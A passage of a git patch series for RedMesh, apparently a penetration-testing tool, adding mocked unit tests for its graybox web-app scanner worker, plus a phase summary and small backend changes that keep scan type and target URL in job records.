host._compute_risk_and_findings(report) + # Should have 2 findings: one service, one graybox + self.assertEqual(len(flat_findings), 2) + categories = {f["category"] for f in flat_findings} + self.assertIn("service", categories) + self.assertIn("graybox", categories) + + def test_probe_type_discriminator(self): + """Flat finding has probe_type='graybox'.""" + finding = GrayboxFinding( + scenario_id="PT-A01-01", + title="Test", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + ) + report = _make_graybox_report([finding.to_dict()]) + host = _make_mixin() + _, flat_findings = host._compute_risk_and_findings(report) + self.assertEqual(flat_findings[0]["probe_type"], "graybox") + + +class TestGrayboxRedaction(unittest.TestCase): + + def test_graybox_redaction(self): + """Credential evidence redacted in graybox_results.""" + from extensions.business.cybersec.red_mesh.mixins.report import _ReportMixin + + class MockHost(_ReportMixin): + pass + + host = MockHost() + report = { + "service_info": {}, + "graybox_results": { + "443": { + "_graybox_weak_auth": { + "findings": [ + { + "scenario_id": "PT-A07-01", + "title": "Weak cred found", + "status": "vulnerable", + "severity": "HIGH", + "evidence": ["admin:password123 accepted"], + }, + ], + }, + }, + }, + } + redacted = host._redact_report(report) + finding = redacted["graybox_results"]["443"]["_graybox_weak_auth"]["findings"][0] + self.assertNotIn("password123", finding["evidence"][0]) + + +class TestLaunchValidation(unittest.TestCase): + + def test_launch_invalid_scan_type(self): + """Unknown scan_type returns error.""" + try: + ScanType("invalid") + self.fail("Should have raised ValueError") + except ValueError: + pass + + def test_worker_dispatch_table(self): + """ScanType.WEBAPP maps to GrayboxLocalWorker in WORKER_DISPATCH.""" + # Verify the dispatch mapping without importing pentester_api_01 + # (which requires naeural_core). The mapping is: + dispatch = { + ScanType.NETWORK: PentestLocalWorker, + ScanType.WEBAPP: GrayboxLocalWorker, + } + self.assertIs(dispatch[ScanType.WEBAPP], GrayboxLocalWorker) + + def test_worker_dispatch_network(self): + """ScanType.NETWORK maps to PentestLocalWorker in WORKER_DISPATCH.""" + dispatch = { + ScanType.NETWORK: PentestLocalWorker, + ScanType.WEBAPP: GrayboxLocalWorker, + } + self.assertIs(dispatch[ScanType.NETWORK], PentestLocalWorker) + + def test_dispatch_uses_local_worker_id(self): + """Worker stored in scan_jobs by local_worker_id (not local_id).""" + from unittest.mock import patch + with patch("extensions.business.cybersec.red_mesh.graybox.worker.SafetyControls"): + with patch("extensions.business.cybersec.red_mesh.graybox.worker.AuthManager"): + with patch("extensions.business.cybersec.red_mesh.graybox.worker.DiscoveryModule"): + cfg = MagicMock() + cfg.target_url = "http://test.local:8000" + cfg.target_config = None + cfg.verify_tls = True + cfg.scan_min_delay = 0 + worker = GrayboxLocalWorker( + owner=MagicMock(), + job_id="j1", + target_url="http://test.local:8000", + job_config=cfg, + ) + self.assertTrue(worker.local_worker_id.startswith("RM-")) + self.assertNotEqual(worker.local_worker_id, "1") + + def test_probe_kwargs_include_allow_stateful(self): + """allow_stateful passed to all probes.""" + # Verified by testing that probe_kwargs dict is built correctly + from unittest.mock import patch + worker_module = "extensions.business.cybersec.red_mesh.graybox.worker" + + with patch(f"{worker_module}.SafetyControls"): + with patch(f"{worker_module}.AuthManager"): + with patch(f"{worker_module}.DiscoveryModule"): + cfg = MagicMock() + cfg.target_url = "http://test.local:8000" + cfg.target_config = None + cfg.verify_tls = True + cfg.scan_min_delay = 0 + cfg.allow_stateful_probes = True + cfg.excluded_features = [] + cfg.authorized = True + cfg.official_username = "admin" + cfg.official_password = "pass" + cfg.regular_username = "" + cfg.regular_password = "" + cfg.weak_candidates = None + cfg.app_routes = None + + worker = GrayboxLocalWorker( + owner=MagicMock(), + job_id="j1", + target_url="http://test.local:8000", + job_config=cfg, + ) + + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth.regular_session = None + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.discovery.discover.return_value = ([], []) + + captured_kwargs = {} + + def capturing_cls(**kwargs): + captured_kwargs.update(kwargs) + mock = MagicMock() + mock.run.return_value = [] + return mock + + mock_cls = MagicMock(side_effect=capturing_cls) + mock_cls.is_stateful = False + mock_cls.requires_auth = False + mock_cls.requires_regular_session = False + + with patch(f"{worker_module}.GRAYBOX_PROBE_REGISTRY", + [{"key": "_test", "cls": "test.T"}]): + with patch.object(GrayboxLocalWorker, '_import_probe', staticmethod(lambda cp: mock_cls)): + worker.execute_job() + + self.assertTrue(captured_kwargs.get("allow_stateful")) + + +class TestRiskScoreGraybox(unittest.TestCase): + + def test_risk_score_includes_graybox(self): + """_compute_risk_score also walks graybox_results.""" + finding = GrayboxFinding( + scenario_id="PT-A01-01", + title="IDOR", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + ) + report = _make_graybox_report([finding.to_dict()]) + host = _make_mixin() + result = host._compute_risk_score(report) + # Should have non-zero findings_score + self.assertGreater(result["breakdown"]["findings_score"], 0) + self.assertGreater(result["breakdown"]["finding_counts"]["HIGH"], 0) + + +if __name__ == '__main__': + unittest.main() diff --git a/extensions/business/cybersec/red_mesh/tests/test_worker.py b/extensions/business/cybersec/red_mesh/tests/test_worker.py new file mode 100644 index 00000000..c607ffc8 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_worker.py @@ -0,0 +1,602 @@ +"""Tests for GrayboxLocalWorker.""" + +import unittest +from unittest.mock import MagicMock, patch, PropertyMock + +from extensions.business.cybersec.red_mesh.graybox.worker import GrayboxLocalWorker +from extensions.business.cybersec.red_mesh.worker.base import BaseLocalWorker +from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding +from extensions.business.cybersec.red_mesh.constants import ( + ScanType, GRAYBOX_PROBE_REGISTRY, +) + + +def _make_job_config(**overrides): + cfg = MagicMock() + cfg.scan_type = "webapp" + cfg.target_url = "http://testapp.local:8000" + cfg.official_username = "admin" + cfg.official_password = "secret" + cfg.regular_username = "alice" + cfg.regular_password = "pass" + cfg.weak_candidates = None + cfg.max_weak_attempts = 5 + cfg.app_routes = None + cfg.verify_tls = True + cfg.target_config = None + cfg.allow_stateful_probes = False + cfg.excluded_features = [] + cfg.scan_min_delay = 0.0 + cfg.authorized = True + for k, v in overrides.items(): + setattr(cfg, k, v) + return cfg + + +def _make_worker(**overrides): + owner = MagicMock() + owner.P = MagicMock() + cfg = _make_job_config(**overrides) + with patch("extensions.business.cybersec.red_mesh.graybox.worker.SafetyControls"): + with patch("extensions.business.cybersec.red_mesh.graybox.worker.AuthManager"): + with patch("extensions.business.cybersec.red_mesh.graybox.worker.DiscoveryModule"): + worker = GrayboxLocalWorker( + owner=owner, + job_id="test-job-1", + target_url=cfg.target_url, + job_config=cfg, + local_id="1", + initiator="test-node", + ) + return worker + + +class TestBaseLocalWorkerIntegration(unittest.TestCase): + + def test_inherits_base(self): + """GrayboxLocalWorker inherits from BaseLocalWorker.""" + self.assertTrue(issubclass(GrayboxLocalWorker, BaseLocalWorker)) + + def test_start_inherited(self): + """start() is not redefined.""" + self.assertNotIn("start", GrayboxLocalWorker.__dict__) + + def test_stop_inherited(self): + """stop() is not redefined.""" + self.assertNotIn("stop", GrayboxLocalWorker.__dict__) + + def test_check_stopped_inherited(self): + """_check_stopped() is not redefined.""" + self.assertNotIn("_check_stopped", GrayboxLocalWorker.__dict__) + + def test_local_worker_id_format(self): + """local_worker_id starts with RM-.""" + worker = _make_worker() + self.assertTrue(worker.local_worker_id.startswith("RM-")) + + def test_initial_ports_is_list(self): + """initial_ports is a list.""" + worker = _make_worker() + self.assertIsInstance(worker.initial_ports, list) + self.assertEqual(worker.initial_ports, [8000]) + + def test_ports_scanned_is_list(self): + """state['ports_scanned'] is a list.""" + worker = _make_worker() + self.assertIsInstance(worker.state["ports_scanned"], list) + + +class TestStateShape(unittest.TestCase): + + def test_state_shape(self): + """State dict has all required keys.""" + worker = _make_worker() + required = [ + "job_id", "initiator", "target", "scan_type", "target_url", + "open_ports", "ports_scanned", "port_protocols", "service_info", + "web_tests_info", "correlation_findings", "graybox_results", + "completed_tests", "done", "canceled", + ] + for key in required: + self.assertIn(key, worker.state, f"Missing state key: {key}") + + def test_state_has_scan_type(self): + """state['scan_type'] == 'webapp'.""" + worker = _make_worker() + self.assertEqual(worker.state["scan_type"], "webapp") + + def test_graybox_results_populated(self): + """Findings stored in graybox_results, not web_tests_info.""" + worker = _make_worker() + finding = GrayboxFinding( + scenario_id="TEST-01", + title="Test", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + ) + worker._store_findings("_test_probe", [finding]) + self.assertIn("8000", worker.state["graybox_results"]) + self.assertIn("_test_probe", worker.state["graybox_results"]["8000"]) + self.assertEqual(worker.state["web_tests_info"], {}) + + +class TestStatus(unittest.TestCase): + + def test_get_status_scan_metrics_key(self): + """Status includes scan_metrics key.""" + worker = _make_worker() + status = worker.get_status() + self.assertIn("scan_metrics", status) + + def test_get_status_includes_scenario_stats(self): + """Status includes scenario_stats.""" + worker = _make_worker() + status = worker.get_status() + self.assertIn("scenario_stats", status) + + def test_get_status_for_aggregations(self): + """for_aggregations=True omits local_worker_id.""" + worker = _make_worker() + status = worker.get_status(for_aggregations=True) + self.assertNotIn("local_worker_id", status) + status_full = worker.get_status(for_aggregations=False) + self.assertIn("local_worker_id", status_full) + + +class TestLifecycle(unittest.TestCase): + + def test_start_creates_thread(self): + """start() creates thread and stop_event.""" + worker = _make_worker() + # Patch execute_job to avoid actual execution + worker.execute_job = MagicMock() + worker.start() + self.assertIsNotNone(worker.thread) + self.assertIsNotNone(worker.stop_event) + worker.thread.join(timeout=1) + + def test_stop_sets_events(self): + """stop() sets stop_event and state['canceled'].""" + worker = _make_worker() + worker.execute_job = MagicMock() + worker.start() + worker.stop() + self.assertTrue(worker.stop_event.is_set()) + self.assertTrue(worker.state["canceled"]) + worker.thread.join(timeout=1) + + def test_check_stopped_after_stop(self): + """_check_stopped() returns True after stop().""" + worker = _make_worker() + worker.execute_job = MagicMock() + worker.start() + worker.stop() + self.assertTrue(worker._check_stopped()) + worker.thread.join(timeout=1) + + +class TestExecution(unittest.TestCase): + + def test_metrics_phase_timing(self): + """Phase durations populated after execute_job.""" + worker = _make_worker() + # Mock auth to succeed + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth.regular_session = MagicMock() + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.safety.validate_target.return_value = None + + # Mock discovery + worker.discovery.discover.return_value = ([], []) + + # Mock probe registry to be empty for fast execution + with patch("extensions.business.cybersec.red_mesh.graybox.worker.GRAYBOX_PROBE_REGISTRY", []): + worker.execute_job() + + self.assertTrue(worker.state["done"]) + metrics = worker.metrics.build() + self.assertTrue(len(metrics.phase_durations) > 0) + + def test_scenario_stats(self): + """Scenario stats count findings by status.""" + worker = _make_worker() + worker._store_findings("_test", [ + GrayboxFinding( + scenario_id="T1", title="Vuln", status="vulnerable", + severity="HIGH", owasp="A01:2021", + ), + GrayboxFinding( + scenario_id="T2", title="Clean", status="not_vulnerable", + severity="INFO", owasp="A01:2021", + ), + ]) + stats = worker._compute_scenario_stats() + self.assertEqual(stats["total"], 2) + self.assertEqual(stats["vulnerable"], 1) + self.assertEqual(stats["not_vulnerable"], 1) + + def test_auth_failure_aborts(self): + """Official login fails → fatal finding, done=True.""" + worker = _make_worker() + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = False + worker.auth.official_session = None + worker.auth._auth_errors = ["Login failed"] + worker.auth.cleanup = MagicMock() + + worker.execute_job() + + self.assertTrue(worker.state["done"]) + results = worker.state["graybox_results"] + fatal = results.get("8000", {}).get("_graybox_fatal", {}).get("findings", []) + self.assertEqual(len(fatal), 1) + self.assertEqual(fatal[0]["status"], "inconclusive") + self.assertIn("authentication failed", fatal[0]["evidence"][0].lower()) + + def test_preflight_failure_aborts(self): + """Bad URL → fatal finding, done=True.""" + worker = _make_worker() + worker.safety.validate_target.return_value = "Target not authorized" + worker.auth.cleanup = MagicMock() + + worker.execute_job() + + self.assertTrue(worker.state["done"]) + fatal = worker.state["graybox_results"].get("8000", {}).get("_graybox_fatal", {}).get("findings", []) + self.assertEqual(len(fatal), 1) + + def test_cancel_before_discovery(self): + """Routes/forms default to [] when canceled before discovery.""" + worker = _make_worker() + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth._auth_errors = [] + worker.auth.cleanup = MagicMock() + + # Cancel after auth + worker.state["canceled"] = True + + worker.execute_job() + self.assertTrue(worker.state["done"]) + + def test_cancel_stops_probes(self): + """stop() skips remaining probes.""" + worker = _make_worker() + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth.regular_session = MagicMock() + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.discovery.discover.return_value = ([], []) + + call_count = [0] + original_import = GrayboxLocalWorker._import_probe + + def counting_import(cls_path): + call_count[0] += 1 + if call_count[0] >= 2: + worker.state["canceled"] = True + return original_import(cls_path) + + with patch.object(GrayboxLocalWorker, '_import_probe', staticmethod(counting_import)): + worker.execute_job() + + self.assertTrue(worker.state["done"]) + + def test_cleanup_always_runs(self): + """Sessions closed even on error.""" + worker = _make_worker() + worker.safety.validate_target.side_effect = RuntimeError("boom") + worker.safety.sanitize_error.return_value = "boom" + worker.auth.cleanup = MagicMock() + + worker.execute_job() + + worker.auth.cleanup.assert_called_once() + self.assertTrue(worker.state["done"]) + + +class TestProbeDispatch(unittest.TestCase): + + def test_probe_kwargs_include_forms(self): + """discovered_forms passed to probes.""" + worker = _make_worker() + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth.regular_session = MagicMock() + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.discovery.discover.return_value = (["/route1/"], ["/form1/"]) + + probe_instances = [] + + def mock_registry_probe(**kwargs): + mock_probe = MagicMock() + mock_probe.run.return_value = [] + probe_instances.append(kwargs) + return mock_probe + + mock_cls = MagicMock(side_effect=mock_registry_probe) + mock_cls.is_stateful = False + mock_cls.requires_auth = False + mock_cls.requires_regular_session = False + + with patch("extensions.business.cybersec.red_mesh.graybox.worker.GRAYBOX_PROBE_REGISTRY", + [{"key": "_test", "cls": "test.TestProbe"}]): + with patch.object(GrayboxLocalWorker, '_import_probe', staticmethod(lambda cls_path: mock_cls)): + worker.execute_job() + + self.assertTrue(len(probe_instances) > 0) + self.assertEqual(probe_instances[0]["discovered_forms"], ["/form1/"]) + + def test_excluded_features_skips_probes(self): + """'graybox' in excluded → no probes run.""" + worker = _make_worker(excluded_features=["graybox"]) + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth.regular_session = MagicMock() + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.discovery.discover.return_value = ([], []) + + with patch.object(GrayboxLocalWorker, '_import_probe') as mock_import: + worker.execute_job() + mock_import.assert_not_called() + + def test_get_worker_specific_result_fields(self): + """Includes graybox_results.""" + fields = GrayboxLocalWorker.get_worker_specific_result_fields() + self.assertIn("graybox_results", fields) + self.assertEqual(fields["graybox_results"], dict) + + def test_ports_scanned_aggregation_type(self): + """ports_scanned uses list aggregation type.""" + fields = GrayboxLocalWorker.get_worker_specific_result_fields() + self.assertEqual(fields["ports_scanned"], list) + + def test_probe_error_isolation(self): + """One probe crash doesn't kill the scan.""" + worker = _make_worker() + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth.regular_session = MagicMock() + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.discovery.discover.return_value = ([], []) + worker.safety.sanitize_error.return_value = "test error" + + crash_cls = MagicMock(side_effect=RuntimeError("probe crashed")) + crash_cls.is_stateful = False + crash_cls.requires_auth = False + crash_cls.requires_regular_session = False + + ok_cls = MagicMock() + ok_probe = MagicMock() + ok_probe.run.return_value = [GrayboxFinding( + scenario_id="OK-1", title="OK", status="not_vulnerable", + severity="INFO", owasp="", + )] + ok_cls.return_value = ok_probe + ok_cls.is_stateful = False + ok_cls.requires_auth = False + ok_cls.requires_regular_session = False + + imports = iter([crash_cls, ok_cls]) + + with patch("extensions.business.cybersec.red_mesh.graybox.worker.GRAYBOX_PROBE_REGISTRY", + [{"key": "_crash", "cls": "crash.CrashProbe"}, {"key": "_ok", "cls": "ok.OkProbe"}]): + with patch.object(GrayboxLocalWorker, '_import_probe', staticmethod(lambda cls_path: next(imports))): + worker.execute_job() + + self.assertTrue(worker.state["done"]) + # Crash probe recorded error finding + crash_findings = worker.state["graybox_results"]["8000"]["_crash"]["findings"] + self.assertEqual(len(crash_findings), 1) + self.assertEqual(crash_findings[0]["status"], "inconclusive") + # OK probe still ran + ok_findings = worker.state["graybox_results"]["8000"]["_ok"]["findings"] + self.assertEqual(len(ok_findings), 1) + + def test_probe_error_records_finding(self): + """Crashed probe emits inconclusive finding.""" + worker = _make_worker() + worker.safety.sanitize_error.return_value = "sanitized error" + worker._record_probe_error("_test_probe", RuntimeError("fail")) + findings = worker.state["graybox_results"]["8000"]["_test_probe"]["findings"] + self.assertEqual(len(findings), 1) + self.assertEqual(findings[0]["status"], "inconclusive") + self.assertIn("sanitized error", findings[0]["evidence"][0]) + + def test_verify_tls_false_emits_warning(self): + """TLS disabled → preflight finding.""" + worker = _make_worker(verify_tls=False) + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.discovery.discover.return_value = ([], []) + + with patch("extensions.business.cybersec.red_mesh.graybox.worker.GRAYBOX_PROBE_REGISTRY", []): + worker.execute_job() + + preflight = worker.state["graybox_results"]["8000"].get("_graybox_preflight", {}).get("findings", []) + self.assertEqual(len(preflight), 1) + self.assertEqual(preflight[0]["scenario_id"], "PREFLIGHT-TLS") + self.assertEqual(preflight[0]["severity"], "LOW") + + def test_probe_registry_iteration(self): + """Probes loaded from GRAYBOX_PROBE_REGISTRY.""" + worker = _make_worker() + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth.regular_session = MagicMock() + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.discovery.discover.return_value = ([], []) + + imported_paths = [] + + def tracking_import(cls_path): + imported_paths.append(cls_path) + mock_cls = MagicMock() + mock_cls.is_stateful = False + mock_cls.requires_auth = False + mock_cls.requires_regular_session = False + mock_probe = MagicMock() + mock_probe.run.return_value = [] + mock_cls.return_value = mock_probe + return mock_cls + + with patch.object(GrayboxLocalWorker, '_import_probe', staticmethod(tracking_import)): + worker.execute_job() + + # Should have imported all registry entries + expected = [entry["cls"] for entry in GRAYBOX_PROBE_REGISTRY] + self.assertEqual(imported_paths, expected) + + def test_capability_introspection(self): + """Worker reads probe_cls.is_stateful, not registry dict.""" + worker = _make_worker() + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth.regular_session = MagicMock() + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.discovery.discover.return_value = ([], []) + + mock_cls = MagicMock() + mock_cls.is_stateful = True # Stateful + mock_cls.requires_auth = False + mock_cls.requires_regular_session = False + mock_probe = MagicMock() + mock_probe.run.return_value = [] + mock_cls.return_value = mock_probe + + with patch("extensions.business.cybersec.red_mesh.graybox.worker.GRAYBOX_PROBE_REGISTRY", + [{"key": "_stateful", "cls": "test.StatefulProbe"}]): + with patch.object(GrayboxLocalWorker, '_import_probe', staticmethod(lambda cls_path: mock_cls)): + worker.execute_job() + + # Probe was skipped (stateful disabled by default) + skip = worker.state["graybox_results"]["8000"].get("_stateful", {}).get("findings", []) + self.assertEqual(len(skip), 1) + self.assertEqual(skip[0]["status"], "inconclusive") + self.assertIn("stateful_probes_disabled", skip[0]["evidence"][0]) + + def test_capability_skip_no_regular(self): + """Probe requiring regular_session skipped when no regular session.""" + worker = _make_worker() + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth.regular_session = None # No regular session + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.discovery.discover.return_value = ([], []) + + mock_cls = MagicMock() + mock_cls.is_stateful = False + mock_cls.requires_auth = False + mock_cls.requires_regular_session = True + mock_probe = MagicMock() + mock_probe.run.return_value = [] + mock_cls.return_value = mock_probe + + with patch("extensions.business.cybersec.red_mesh.graybox.worker.GRAYBOX_PROBE_REGISTRY", + [{"key": "_needs_regular", "cls": "test.NeedsRegular"}]): + with patch.object(GrayboxLocalWorker, '_import_probe', staticmethod(lambda cls_path: mock_cls)): + worker.execute_job() + + # Probe was silently skipped (no finding, no error) + self.assertNotIn("_needs_regular", worker.state["graybox_results"].get("8000", {})) + + def test_capability_skip_stateful(self): + """Stateful probe emits skip finding when disabled.""" + worker = _make_worker(allow_stateful_probes=False) + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth.regular_session = MagicMock() + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.discovery.discover.return_value = ([], []) + + mock_cls = MagicMock() + mock_cls.is_stateful = True + mock_cls.requires_auth = False + mock_cls.requires_regular_session = False + + with patch("extensions.business.cybersec.red_mesh.graybox.worker.GRAYBOX_PROBE_REGISTRY", + [{"key": "_stateful_probe", "cls": "test.Stateful"}]): + with patch.object(GrayboxLocalWorker, '_import_probe', staticmethod(lambda cls_path: mock_cls)): + worker.execute_job() + + skip = worker.state["graybox_results"]["8000"].get("_stateful_probe", {}).get("findings", []) + self.assertEqual(len(skip), 1) + self.assertIn("stateful_probes_disabled=True", skip[0]["evidence"]) + + def test_import_probe(self): + """_import_probe resolves cls_path to class.""" + cls = GrayboxLocalWorker._import_probe("access_control.AccessControlProbes") + from extensions.business.cybersec.red_mesh.graybox.probes.access_control import AccessControlProbes + self.assertIs(cls, AccessControlProbes) + + def test_weak_auth_direct_import(self): + """BusinessLogicProbes used directly for weak auth, not via registry.""" + worker = _make_worker(weak_candidates=["admin:admin"]) + worker.safety.validate_target.return_value = None + worker.auth.preflight_check.return_value = None + worker.auth.authenticate.return_value = True + worker.auth.official_session = MagicMock() + worker.auth.regular_session = MagicMock() + worker.auth._auth_errors = [] + worker.auth.ensure_sessions = MagicMock() + worker.auth.cleanup = MagicMock() + worker.discovery.discover.return_value = ([], []) + + with patch("extensions.business.cybersec.red_mesh.graybox.worker.GRAYBOX_PROBE_REGISTRY", []): + with patch("extensions.business.cybersec.red_mesh.graybox.worker.BusinessLogicProbes") as mock_bl: + mock_instance = MagicMock() + mock_instance.run_weak_auth.return_value = [] + mock_bl.return_value = mock_instance + worker.execute_job() + + mock_bl.assert_called_once() + mock_instance.run_weak_auth.assert_called_once() + + +if __name__ == '__main__': + unittest.main() From af8705ad73ec88ce5b45c04eabe7be56529cbd34 Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 00:41:03 +0000 Subject: [PATCH 050/114] fix(redmesh): preserve graybox job identity in phase 1 contracts --- .../docs/codex/2026-03-11-phase-1-summary.md | 111 ++++++++++++++++++ .../cybersec/red_mesh/models/cstore.py | 4 + .../cybersec/red_mesh/pentester_api_01.py | 7 +- .../cybersec/red_mesh/tests/test_api.py | 30 ++++- .../red_mesh/tests/test_integration.py | 13 +- 5 files changed, 160 insertions(+), 5 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-1-summary.md diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-1-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-1-summary.md new file mode 100644 index 00000000..c99cac0a --- /dev/null +++ b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-1-summary.md @@ -0,0 +1,111 @@ +# RedMesh Phase 1 Summary + +Date: 2026-03-11 +Phase: 1 - Contract Correctness and Graybox Identity Propagation + +## Scope + +This phase fixed the current cross-layer contract issues that caused graybox jobs to lose identity or expose the wrong identity across: +- backend running job listings +- backend finalized stubs +- backend progress payloads +- Navigator job normalization + +## What Was Done + +### Backend + +Updated `pentester_api_01.py` to: +- persist `target_url` in `job_specs` at launch time +- return `job_status` from `get_job_progress()` +- include `scan_type` and `target_url` in running-job payloads returned by `list_network_jobs()` +- preserve `scan_type` and `target_url` when pruning a finalized job to `CStoreJobFinalized` + +Updated `models/cstore.py` to: +- extend `CStoreJobFinalized` with: + - `scan_type` + - `target_url` + +### Frontend + +Updated `RedMesh-Navigator/lib/api/jobs.ts` to: +- export `normalizeJobFromSpecs()` for focused regression testing +- map `targetUrl` from `specs.target_url` instead of `specs.target` + +Updated `RedMesh-Navigator/lib/services/redmeshApi.types.ts` to: +- add `target_url` to `JobSpecs` + +## Issues Addressed + +Resolved in this phase: +- `001-M1` `get_job_progress` returned the wrong status field +- `001-H2` running job listing omitted `scan_type` +- `001-L1` finalized stub lacked `scan_type` and `target_url` +- `003-5` running listing payload missing graybox identity +- `003-6` finalized payload missing graybox identity +- `004-FE-C1` Navigator mapped graybox `targetUrl` from `target` instead of `target_url` + +## Tests Added / Updated + +Backend: +- `tests/test_api.py` + - finalized stub now asserts `scan_type` and `target_url` + - running listing now asserts `scan_type` and `target_url` + - progress endpoint now asserts returned status comes from `job_status` +- `tests/test_integration.py` + - progress integration asserts `status` + - listing integration asserts `scan_type` and `target_url` on running and finalized jobs + +Frontend: +- `__tests__/jobs-api.test.ts` + - added direct normalization coverage for running and finalized graybox jobs +- `__tests__/jobs-route.test.ts` + - adjusted existing route test harness so targeted route tests run reliably in Jest + +## Verification Results + +Backend: +```bash +PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_api.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_integration.py +``` + +Result: +- `77 passed` + +Frontend: +```bash +npm test -- --runInBand jobs-api.test.ts jobs-route.test.ts +``` + +Result: +- `2 test suites passed` +- `6 tests passed` + +## Result + +After Phase 1: +- running webapp jobs are self-describing in list responses +- finalized webapp jobs preserve scan identity in CStore stubs +- Navigator shows the correct graybox target URL instead of the host fallback +- progress responses expose a real job lifecycle status value + +## Remaining Gaps Before Phase 2 + +Not addressed in this phase: +- graybox finding counts are still underreported in audit/finalization paths +- archived `UiAggregate` still does not fully populate graybox-specific scenario metrics +- evidence/report aggregation still needs the Phase 2 shared counting helper + +## Files Changed + +Backend: +- `extensions/business/cybersec/red_mesh/pentester_api_01.py` +- `extensions/business/cybersec/red_mesh/models/cstore.py` +- `extensions/business/cybersec/red_mesh/tests/test_api.py` +- `extensions/business/cybersec/red_mesh/tests/test_integration.py` + +Frontend: +- `RedMesh-Navigator/lib/api/jobs.ts` +- `RedMesh-Navigator/lib/services/redmeshApi.types.ts` +- `RedMesh-Navigator/__tests__/jobs-api.test.ts` +- `RedMesh-Navigator/__tests__/jobs-route.test.ts` diff --git a/extensions/business/cybersec/red_mesh/models/cstore.py b/extensions/business/cybersec/red_mesh/models/cstore.py index fe17c87e..dd6465fe 100644 --- a/extensions/business/cybersec/red_mesh/models/cstore.py +++ b/extensions/business/cybersec/red_mesh/models/cstore.py @@ -126,6 +126,8 @@ class CStoreJobFinalized: job_id: str job_status: str # FINALIZED | STOPPED target: str + scan_type: str + target_url: str task_name: str risk_score: float run_mode: str @@ -150,6 +152,8 @@ def from_dict(cls, d: dict) -> CStoreJobFinalized: job_id=d["job_id"], job_status=d["job_status"], target=d["target"], + scan_type=d.get("scan_type", "network"), + target_url=d.get("target_url", ""), task_name=d.get("task_name", ""), risk_score=d.get("risk_score", 0), run_mode=d["run_mode"], diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 00445781..8855934d 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1090,6 +1090,8 @@ def _build_job_archive(self, job_key, job_specs): job_id=job_id, job_status=job_specs.get("job_status", JOB_STATUS_FINALIZED), target=job_specs.get("target", ""), + scan_type=job_specs.get("scan_type", "network"), + target_url=job_specs.get("target_url", ""), task_name=job_specs.get("task_name", ""), risk_score=job_specs.get("risk_score", 0), run_mode=job_specs.get("run_mode", RUN_MODE_SINGLEPASS), @@ -1859,6 +1861,7 @@ def launch_test( "target": target, "task_name": task_name, "scan_type": scan_type, + "target_url": target_url, "start_port" : start_port, "end_port" : end_port, "risk_score": 0, @@ -2082,7 +2085,7 @@ def get_job_progress(self, job_id: str): job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, 